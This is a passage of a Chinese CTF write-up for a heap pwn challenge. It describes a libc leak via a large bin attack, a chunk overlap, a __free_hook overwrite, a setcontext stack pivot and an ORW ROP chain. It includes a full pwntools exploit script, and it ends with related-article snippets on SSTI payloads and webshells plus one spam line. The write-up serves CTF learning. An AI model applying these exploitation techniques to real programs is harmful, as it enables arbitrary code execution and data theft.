    .text:00000000000581C6 loc_581C6:                              ; CODE XREF: setcontext+6B↑j.text:00000000000581C6                 mov     rcx, [rdx+0A8h] <-----rcx = ret,入棧>.text:00000000000581CD                 push    rcx.text:00000000000581CE                 mov     rsi, [rdx+70h].text:00000000000581D2                 mov     rdi, [rdx+68h].text:00000000000581D6                 mov     rcx, [rdx+98h].text:00000000000581DD                 mov     r8, [rdx+28h].text:00000000000581E1                 mov     r9, [rdx+30h].text:00000000000581E5                 mov     rdx, [rdx+88h].text:00000000000581E5 ; } // starts at 580A0.text:00000000000581EC ; __unwind {.text:00000000000581EC                 xor     eax, eax.text:00000000000581EE                 retn                  <--------ret ->ret ->orw ROP >
    

    在此之前需要將heap地址賦值給rdx,然后才能將棧遷移到堆上,我們知道free的時候第一個參數rdi是當前chunk的地址,那么只要將rdi的值賦值給rdx之后再返回到setcontext+61就行了,怎么找gadget能實現如上功能呢?我們在libc的function getkeyserv_handle里能找到如下gadget:

    .text:0000000000154930                 mov     rdx, [rdi+8].text:0000000000154934                 mov     [rsp+0C8h+var_C8], rax.text:0000000000154938                 call    qword ptr [rdx+20h]
    

    所以在當前chunk+8的地方放當前heap地址可以實現給rdx賦值,然后在rdx+0x20處放setcontext地址就會返回到setcontext,在rdx+0xa0處放置orw Rop的開始地址,并將rsp指針刷新到指定heap上,執行到ret的時候將rcx移出棧頂,緊接著ret后返回orw的rop開始處,此時rsp和堆棧同時指向orw ROP開始處,開始在heap上構造orw讀取flag。

    構造賦值想讓的步驟如下:

    1. 通過largebinattack泄露libc,獲得freehook、setcontext、rop鏈地址
    2. 在制造chunk overlap之前應該將0x30大小的堆填滿,釋放,之后在新申請的chunk之間就不會有0x30大小的chunk相隔,才能制造overlap。原因猜測是為之后的申請騰空間,所以后面申請的就不會隔開了,具體原因待查
    3. 泄露heap地址,制造chunk overlap
    4. 寫入freehook地址,修改freehook為gadget(set rdx && call setcontext)
    5. 申請一個chunk,構造rop修改rdx,返回setcontext,刷新堆棧,之后orw
    6. free觸發rop鏈,orw讀取flag

    exp

    from pwn import *from gmssl import funccontext.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
    #io = remote('127.0.0.1', 6010)# libc = ELF('./libc-2.31.so')# io = process(['./test', 'real'])io = process('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda    a=False        : io.recvline(a)ru = lambda a,b=True    : io.recvuntil(a,b)rn = lambda x            : io.recvn(x)sn = lambda x            : io.send(x)sl = lambda x            : io.sendline(x)sa = lambda a,b            : io.sendafter(a,b)sla = lambda a,b        : io.sendlineafter(a,b)irt = lambda            : io.interactive()dbg = lambda text=None  : gdb.attach(io, text)lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data        : u32(data.ljust(4, b'\x00'))uu64 = lambda data        : u64(data.ljust(8, b'\x00'))ur64 = lambda data        : u64(data.rjust(8, b'\x00'))initkey = p64(0x6b8b4567327b23c6)
    table = [  0xBE, 0xD1, 0x90, 0x88, 0x57, 0x00, 0xE9, 0x53, 0x10, 0xBD,   0x2A, 0x34, 0x51, 0x84, 0x07, 0xC4, 0x33, 0xC5, 0x3B, 0x53,   0x5F, 0xA8, 0x5D, 0x4B, 0x6D, 0x22, 0x63, 0x5D, 0x3C, 0xBD,   0x47, 0x6D, 0x22, 0x3F, 0x38, 0x4B, 0x7A, 0x4C, 0xB8, 0xCC,   0xB8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71, 0xB1, 0xC7,   0xA6, 0xD1, 0xA0, 0x48, 0x21, 0xC4, 0x1B, 0x0A, 0xAD, 0xC9,   0xA5, 0xE6, 0x14, 0x18, 0xFC, 0x7B, 0x53, 0x59, 0x8B, 0x0D,   0x07, 0xCD, 0x07, 0xCC, 0xBC, 0xA5, 0xE0, 0x28, 0x0E, 0xF9,   0x31, 0xC8, 0xED, 0x78, 0xF4, 0x75, 0x60, 0x65, 0x52, 0xB4,   0xFB, 0xBF, 0xAC, 0x6E, 0xEA, 0x5D, 0xCA, 0x0D, 0xB5, 0x66,   0xAC, 0xBA, 0x06, 0x30, 0x95, 0xF4, 0x96, 0x42, 0x7A, 0x7F,   0x58, 0x6D, 0x83, 0x8E, 0xF6, 0x61, 0x7C, 0x0E, 0xFD, 0x09,   0x6E, 0x42, 0x6B, 0x1E, 0xB9, 0x14, 0x22, 0xF6, 0x16, 0xD2,   0xD2, 0x60, 0x29, 0x23, 0x32, 0x9E, 0xB4, 0x82, 0xEE, 0x58,   0x3A, 0x7D, 0x1F, 0x74, 0x98, 0x5D, 0x17, 0x64, 0xE4, 0x6F,   0xF5, 0xAD, 0x94, 0xAA, 0x89, 0xE3, 0xBE, 0x98, 0x91, 0x38,   0x70, 0xEC, 0x2F, 0x5E, 0x9F, 0xC9, 0xB1, 0x26, 0x3A, 0x64,   0x48, 0x13, 0xF1, 0x1A, 0xC5, 0xD5, 0xE5, 0x66, 0x11, 0x11,   0x3A, 0xAA, 0x79, 0x45, 0x42, 0xB4, 0x57, 0x9D, 0x3F, 0xBC,   0xA3, 0xAA, 0x98, 0x4E, 0x6B, 0x7A, 0x4A, 0x2F, 0x3E, 0x10,   0x7A, 0xC5, 0x33, 0x8D, 0xAC, 0x0B, 0x79, 0x33, 0x5D, 0x09,   0xFC, 0x9D, 0x9B, 0xE5, 0x18, 0xCD, 0x1C, 0x7C, 0x8B, 0x0A,   0xA8, 0x95, 0x56, 0xCC, 0x4E, 0x34, 0x31, 0x33, 0xF5, 0xC1,   0xF5, 0x03, 0x0A, 0x4A, 0xB4, 0xD1, 0x90, 0xF1, 0x8F, 0x57,   0x20, 0x05, 0x0D, 0xA0, 0xCD, 0x82, 0xB3, 0x25, 0xD8, 0xD2,   0x20, 0xF3, 0xC5, 0x96, 0x35, 0x35]
    def encode(key,passwd):    key = func.bytes_to_list(key)    passwd = func.bytes_to_list(passwd)    key_arr = []     raw_key = []     data_arr = []     for c in key:         key_arr.append(c)         raw_key.append(c)     for c in passwd:         data_arr.append(c)     key = key_arr     passwd = data_arr        for i in range(len(passwd)):            v5 = (key[(i + 2) & 7] * (key[(i & 7)] + key[(i + 1) & 7]) + key[(i + 3) & 7])&0xff        passwd[i] ^= v5 ^ table[v5]        key[(i & 7)] = (2 * v5 + 3)&0xff        if (i & 0xf) == 0:            key = sub_143A(raw_key,table[i&0xff])
        out = b''    for i in passwd:        out += i.to_bytes(1, byteorder='little')
        return out      
    def sub_143A(key,seed):    tmpkey = [0]*8    for  i in range(8):        tmpkey[i] = (key[i] ^ table[key[i]])&0xff        tmpkey[i] ^= (seed + i)&0xff     return tmpkey
    passwdd = p32(0x00000000)password = encode(initkey,passwdd)print(hex(int.from_bytes(password,byteorder='little',signed=False))) #0x18f7d121 418894113
    def login():    print(111)    sla('$','login')    sla('account:','1000')    sla('password:','418894113')def add(size,content):    sla('$','add')    sla('?',str(size))    sn(content)def delete(idx):    sla('$','del')    sla('?',str(idx))def get(idx):    sla('$','get')    sla('?',str(idx))
    login()# leak libc  larginbin attackadd(0x500,'') #0add(0x500,'') #1
    delete(0) add(0x500,'') #0get(0)ru('')libc_base = uu64(rn(6)) - 0x1c6b0a - 0x25000lg('libc_base')
    free_hook = libc_base + libc.sym['__free_hook'] lg('free_hook')setcontext = libc_base + libc.sym['setcontext'] + 61 lg('setcontext')
    ret = libc_base + 0x25679 libc_open = libc_base + libc.sym['open'] libc_read = libc_base + libc.sym['read'] libc_write = libc_base + libc.sym['write'] pop_rdi = libc_base + 0x26b72 pop_rsi = libc_base + 0x27529 pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret 
    gadget = libc_base + 0x154930 # local getkeyserv_handle  set rdx && call context'''.text:0000000000154930                 mov     rdx, [rdi+8].text:0000000000154934                 mov     [rsp+0C8h+var_C8], rax.text:0000000000154938                 call    qword ptr [rdx+20h]'''
    # fill size=0x30 chunkadd(0x80, '') # 2 add(0x20, '') # 3 b = 3 j = 20 
    for i in range(b, j):     add(0x20, 'AAA') 
    for i in range(b + 10, j):     delete(i) # make overlap chunkadd(0x98, encode(initkey, b'AAA') + b'') # 13 add(0x500, encode(initkey, b'AAA') + b'') # 14 dbg()add(0xa0, 'AAA') # 15 add(0xa0, 'AAA') # 16 add(0xa0, 'AAA') # 17 delete(13) delete(17) delete(16) delete(15) # leak heap addr add(0xa8, b'') # 13 get(13) io.recvuntil('')heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x50+0xb0*2 +0x10# local  chunk17's heapaddr#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local lg('heap')
    delete(13)p = b'\x00' + b'\x11' * 0x97 #dbg()add(0x98, encode(initkey, p) + b'\xc1') # 13 # overlapdelete(14) # 5c0 p = b'A' * 0x500 p += p64(0) + p64(0xb1) p += p64(libc_base + libc.sym['__free_hook']) + p64(0) add(0x5b0, encode(initkey, p) + b'') # 14 # remalloc freehook add(0xa8, encode(initkey, b"/bin/sh\x00") + b'') # 13 add(0xa8, encode(initkey, p64(gadget)) + b'') # modify __free_hook as a gadget set rdi -> rdx p = p64(1) + p64(heap) # set to rdxp += p64(setcontext) *4 # call setcontextp = p.ljust(0xa0, b'\x11') p += p64(heap + 0xb0) # rsp p += p64(ret) # rcx rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18) rop += p64(pop_rsi) + p64(0) rop += p64(pop_rdx_r12) + p64(0) + p64(0) rop += p64(libc_open) rop += p64(pop_rdi) + p64(3) rop += p64(pop_rsi) + p64(heap) rop += p64(pop_rdx_r12) + p64(0x80) + p64(0) rop += p64(libc_read) rop += p64(pop_rdi) + p64(1) rop += p64(libc_write) rop += p64(pop_rdi) + p64(0) rop += p64(libc_read) p += rop p += b'./flag\x00' add(0x800, encode(initkey, p) + b'') # 17 
    print('get flag...') # triggger freedelete(17)#dbg()irt()
    總結
    

    這次比賽算這道題目是壓軸題,做出來的人數個位數,題目參雜了很多知識,包括lua語言、c和lua互調規則、沙箱禁用59號中斷、ORW、花指令、簡單異或流加密、offbyone、lua程序在互調過程中申請chunk的處理,想要做出來不容易,之后復盤也是復盤了好久才看明白,之前不知道freehook修改成setcontext的利用方式,這次明白了,利用setcontext+61,刷新棧到指定堆上,然后構造orw。

    進一步增加難度,修改lua虛擬機opcode,使得通用反編譯失敗,需要逆向opcode順序,重新編譯反編譯工具,這就更變態了。

    str函數lambda
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    根據代碼得出 sb的值為頁碼+時間戳 "page=21652931584"。再次hook Sign函數查看參數和返回值并與fiddler對比。此時已經可以斷定,這個Sign就是翻頁的加密函數 。我們用python實現一下。此時直接調用sign生成加密參數,抓取100頁的值相加得出flag:#!
    對于堆的恐懼來自堆復雜的管理機制,相較于棧來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。題目分析基本信息分析查看文件類型,32位,沒有去掉符號。notepad_new大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。
    記一次從本地到WordPress代碼注入。
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    再看尋找Python SSTI攻擊載荷的過程。獲取基本類,此外,在引入了Flask/Jinja的相關模塊后還可以通過
    SCTF pwn 方向部分題解
    2022-01-10 16:31:14
    用”\或者/都可以跳過2個\x00,但是每次用”\會拷貝4個字節到buf中
    某視頻app的學習記錄
    2022-01-03 16:58:52
    這個看見有人說有個版本開始不能截了,我這邊一直都是換證書的,沒感覺有影響,估計我下的是盜版,碰到再看了。先新建一個自己的測試app,接著的工作就是搬代碼了,直接導出所有的反編譯代碼
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    寫在前面關于無字母數字Webshell這個話題,可以說是老生常談了。之前打 CTF 的時候也經常會遇到,每次都讓人頭大,所謂無字符webshell,其基本原型就是對以下代碼的繞過:
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类